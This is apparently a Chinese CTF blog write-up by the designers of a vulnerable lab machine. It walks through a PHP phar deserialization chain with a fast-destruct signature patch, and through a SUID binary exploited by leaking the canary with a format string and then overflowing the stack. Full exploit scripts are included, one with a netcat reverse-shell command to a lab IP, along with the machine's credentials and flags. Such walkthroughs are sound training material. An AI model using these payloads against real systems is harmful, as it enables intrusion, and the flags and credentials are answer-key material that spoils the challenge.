矛计划-PHAR靶机设计思路

webshell部分由 流云 设计
提权部分由 玫幽倩 设计

用户

1
2
3
welcome:sly@myq@666
root:sly@myq@666
(做题的时候不会出现以上所有凭证)

flag

1
2
flag{user-1e34287df8a27d2bbfa5ff51abb3d2ff}
flag{root-a5e1f6d2cd2448650c88a8985cfb6365}

webshell部分

灵感是这道题 [GFCTF 2021]文件查看器
感觉这个phar反序列化+强制gc需要修改尾部哈希的考点很巧妙,就稍微改了下

正常扫描就能看到.git泄露,是直接给源码来代码审计的

User.class.php 里拿到账密

1
2
3
if ($this->username === 'admin' && $this->password === 'admin') {
$_SESSION['user'] = $this->username;
}

进入后继续代码审计
Task::submit()会保存用户提交的原文

1
2
$id = bin2hex(random_bytes(16));
file_put_contents(QUARANTINE . '/' . $id . '.txt', $_POST['blob'] ?? '', LOCK_EX);

Task::repair() 会把内容 rawurldecode() 后写成归档文件

1
file_put_contents($dst, rawurldecode((string) file_get_contents($src)), LOCK_EX);

目标路径为/var/labdata/archive/{id}.bin
Files::read()允许用户传入任意文件路径读取

1
$contents = @file_get_contents($this->filename);

并且读取期间存在状态门:

1
2
3
4
5
6
self::$inWorker = true;
try {
$contents = @file_get_contents($this->filename);
} finally {
self::$inWorker = false;
}

这里状态门就是强迫你用强制GC的技巧的,原题是用抛出异常打断pop链,但实操时发现不太稳定,因此改用这个状态门

file_get_contents没法用data等伪协议

核心思路就是phar反序列化+强制GC
pop链不是重点,很容易找到

1
2
3
4
5
6
7
8
User::__destruct()
-> $this->password[0]->{$this->password[1]}($this->username)
-> User::check($obj)
-> echo $obj
-> Myerror::__toString()
-> $this->message->{$this->level}
-> Files::__get('system')
-> system($this->arg)

然后用phar://协议读取phar文件会自动将meta的内容进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class User {
public $username;
public $password;
}

class Files {
public $filename;
public $arg;
}

class Myerror {
public $message;
public $level;
}

$cmd = 'id';

$u1 = new User();
$u2 = new User();
$m = new Myerror();
$f = new Files();

$u1->password = [$u2, 'check'];
$u1->username = $m;
$m->message = $f;
$m->level = 'system';
$f->arg = $cmd;


$pharFile = 'exploit.phar';

$phar = new Phar($pharFile);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(unserialize($patchedSerialized));
$phar->addFromString('test.txt', 'ARCHIVE_OK');
$phar->setSignatureAlgorithm(Phar::SHA1);
$phar->stopBuffering();
?>

然后用强制GC技巧,修改i:1;N;i:0;N;
从php5.3版本开始生成的phar文件必须包含签名,因此这里还要修改签名

最终生成paylaod的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<?php
class User {
public $username;
public $password;
}

class Files {
public $filename;
public $arg;
}

class Myerror {
public $message;
public $level;
}

function build_metadata($cmd) {
$u1 = new User();
$u2 = new User();
$m = new Myerror();
$f = new Files();

$u1->password = [$u2, 'check'];
$u1->username = $m;

$m->message = $f;
$m->level = 'system';

$f->arg = $cmd;

return [$u1, null];
}

function patch_fast_destruct($serialized) {
$patched = str_replace('i:1;N;', 'i:0;N;', $serialized, $count);

if ($count !== 1) {
fwrite(STDERR, "fast-destruct patch failed\n");
fwrite(STDERR, $serialized . "\n");
exit(1);
}

return $patched;
}

function repack_signature($data) {
$magic = 'GBMB';
$sigLen = 20 + 4 + 4;

if (strlen($data) < $sigLen || substr($data, -4) !== $magic) {
fwrite(STDERR, "unexpected phar signature footer\n");
exit(1);
}

$unsigned = substr($data, 0, -$sigLen);
return $unsigned . sha1($unsigned, true) . pack('V', 2) . $magic;
}

function build_phar($path, $meta) {
@unlink($path);

$phar = new Phar($path);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($meta);
$phar->addFromString('test.txt', 'ARCHIVE_OK');
$phar->setSignatureAlgorithm(Phar::SHA1);
$phar->stopBuffering();

unset($phar);
}

function patch_phar($path, $serialized, $patchedSerialized) {
$raw = file_get_contents($path);
if ($raw === false) {
fwrite(STDERR, "read phar failed\n");
exit(1);
}

$pos = strpos($raw, $serialized);
if ($pos === false) {
fwrite(STDERR, "serialized metadata not found\n");
exit(1);
}

$patched = substr_replace($raw, $patchedSerialized, $pos, strlen($serialized));
file_put_contents($path, repack_signature($patched));
}

$cmd = $argv[1] ?? 'busybox nc 192.168.56.102 9001 -e sh';

$normal = __DIR__ . DIRECTORY_SEPARATOR . 'normal.phar';
$fast = __DIR__ . DIRECTORY_SEPARATOR . 'fast.phar';

$meta = build_metadata($cmd);
$serialized = serialize($meta);
$patchedSerialized = patch_fast_destruct($serialized);

build_phar($normal, $meta);
build_phar($fast, $meta);
patch_phar($fast, $serialized, $patchedSerialized);

file_put_contents($normal . '.rawurl.txt', rawurlencode(file_get_contents($normal)));
file_put_contents($fast . '.rawurl.txt', rawurlencode(file_get_contents($fast)));

echo "normal: normal.phar / normal.phar.rawurl.txt\n";
echo "fast: fast.phar / fast.phar.rawurl.txt\n";
echo "cmd: {$cmd}\n";

得到的fast.phar.rawurl.txt进行submit然后repair
最后用phar://读取还原的文件

1
phar:///var/labdata/archive/{id}.bin/test.txt

运行后成功反弹shell

提权部分

灵感是觉得pwn提权的靶机比较少所以想出一个,虽然在出的过程中群友出了几个,一下子pwn靶机又不少了(

本质就是利用suid的二进制程序提权而已,我们直接继续往下看题就好了

成功反弹shell之后我们对环境进行一个探查先

由于我和凌云分开来做的,ip可能有一些差别,但不影响思路

发现存在一个不正常的suid文件vaultd

明显是提权点,先wget提取出来

1
2
3
4
5
6
靶机:
cd /opt
python3 -m http.server 8888 &

攻击机:
wget http://192.168.56.151:8888/vaultd

得到程序,进行查看

保护:

发现开了Full RELRO,且开了栈金丝雀和NX

不难想到或许是一道需要Bypass的题目,先进入IDA进行分析

打开IDA分析main函数,可以看到是一个菜单状的

banner中也放了一个菜单,除去4的exit,基本上是三个功能

一个个查看就好了

1中可以看到没有什么漏洞点,这边就只是一个读入名字的作用而已,不存在栈溢出

所以继续看2

2这边上来明显就有一个格式化字符串的漏洞了

所以我们可以利用格式化字符串漏洞%p %p %p %p这样子把栈上的数据全部打出来

这也是本题泄露Canary做到Bypass的技巧

我们完全可以一个个爆破来找,因为Canary栈金丝雀的设计特性,最低字节一定会是\x00

为了阻断一些字符串溢出设计的,不过我们也可以利用这个特性对此进行定位

一个个尝试即可确定%25$p可以泄露Canary的值

所以

1
2
3
4
5
6
7
8
9
CANARY_IDX = 25 

fmt = f"%{CANARY_IDX}$p".encode()
sendline(proc, fmt)

recvuntil(proc, b"Ticket preview: ")
leak_line = recvline(proc).strip()

canary = int(leak_line, 16)

继续看3

这边有两个输入点read

第一个是输入到stage全局变量

在.bss段里

而第二个就是一个很明显的栈溢出漏洞了

buf在[rbp-50h],Canary在[rbp-8h]

所以从我们输入到碰到Canary就是0x50-0x8=0x48

最后这边其实还藏了一个函数,IDA解析不出来,但是我们shift+f12看字符串就能看见/bin/sh,交叉索引即可找到这边

审计汇编,大概就是

1
2
3
4
5
puts("[maintenance] win function reached!"); 

setresgid(0, 0, 0);
setresuid(0, 0, 0);
execve("/bin/sh", ["sh", "-p", NULL], NULL);

直接调用的syscall,专门设计的sh -p,防止主动降权

题目没开PIE,所以这边的地址是确定的0x004013CB,我们只要返回到这个地方就可以直接提权了其实

思路还是很明确的,直接这样子就好了,直接栈溢出覆盖返回地址就是了,很简单的一道pwn

我还专门留了第一个read,有可能ai会理解这题需要stage作为假栈做栈迁移,其实是做麻烦了

其实就是一个Bypass和栈溢出的简单题而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/env python3
import os
import sys
import time
import struct
import select
import subprocess

BIN = "/opt/vaultd"

CANARY_IDX = 25
OFFSET = 0x48

WIN = 0x4013cb
RET = 0x40101a


def p64(x):
return struct.pack("<Q", x)


def log(msg):
print(f"[*] {msg}", flush=True)


def success(msg):
print(f"[+] {msg}", flush=True)


def recvuntil(proc, marker, timeout=5):
fd = proc.stdout.fileno()
data = b""
end = time.time() + timeout

while marker not in data:
remain = end - time.time()
if remain <= 0:
raise TimeoutError(f"recvuntil timeout, wanted: {marker!r}, got: {data!r}")

r, _, _ = select.select([fd], [], [], remain)
if not r:
continue

chunk = os.read(fd, 1)
if not chunk:
break

data += chunk

return data


def recvline(proc, timeout=5):
fd = proc.stdout.fileno()
data = b""
end = time.time() + timeout

while not data.endswith(b"\n"):
remain = end - time.time()
if remain <= 0:
break

r, _, _ = select.select([fd], [], [], remain)
if not r:
continue

chunk = os.read(fd, 1)
if not chunk:
break

data += chunk

return data


def send(proc, data):
os.write(proc.stdin.fileno(), data)


def sendline(proc, data):
send(proc, data + b"\n")


def interactive(proc):
print("[*] interactive mode", flush=True)

stdout_fd = proc.stdout.fileno()
stdin_fd = sys.stdin.fileno()

while True:
r, _, _ = select.select([stdout_fd, stdin_fd], [], [])

if stdout_fd in r:
try:
data = os.read(stdout_fd, 4096)
except OSError:
break

if not data:
break

os.write(sys.stdout.fileno(), data)

if stdin_fd in r:
try:
data = os.read(stdin_fd, 4096)
except OSError:
break

if not data:
break

send(proc, data)


def main():
log(f"win = {hex(WIN)}")
log(f"ret = {hex(RET)}")

proc = subprocess.Popen(
[BIN],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
bufsize=0
)
recvuntil(proc, b"> ")

sendline(proc, b"2")

recvuntil(proc, b"Describe your backup problem. It will be echoed into the ticket:\n")

fmt = f"%{CANARY_IDX}$p".encode()
sendline(proc, fmt)

recvuntil(proc, b"Ticket preview: ")
leak_line = recvline(proc).strip()

canary = int(leak_line, 16)
success(f"canary = {hex(canary)}")

recvuntil(proc, b"> ")

sendline(proc, b"3")

recvuntil(proc, b"Paste restore recipe. Long recipes are cached in staging memory:\n")

sendline(proc, b"DUMMY")

recvuntil(proc, b"Recipe title:\n")

payload = (
b"A" * OFFSET +
p64(canary) +
p64(0xdeadbeefdeadbeef) +
p64(RET) +
p64(WIN)
)

send(proc, payload)

interactive(proc)


if __name__ == "__main__":
main()

opt目录没权限,可以去/home/welcome做

成功提权

提权部分考点:

1,格式化字符串漏洞

2,Canary绕过

3,栈溢出


矛计划-PHAR靶机设计思路
https://mei-you-qian.github.io/2026/06/15/PHAR/
作者
Meiyouqian
发布于
2026年6月15日
许可协议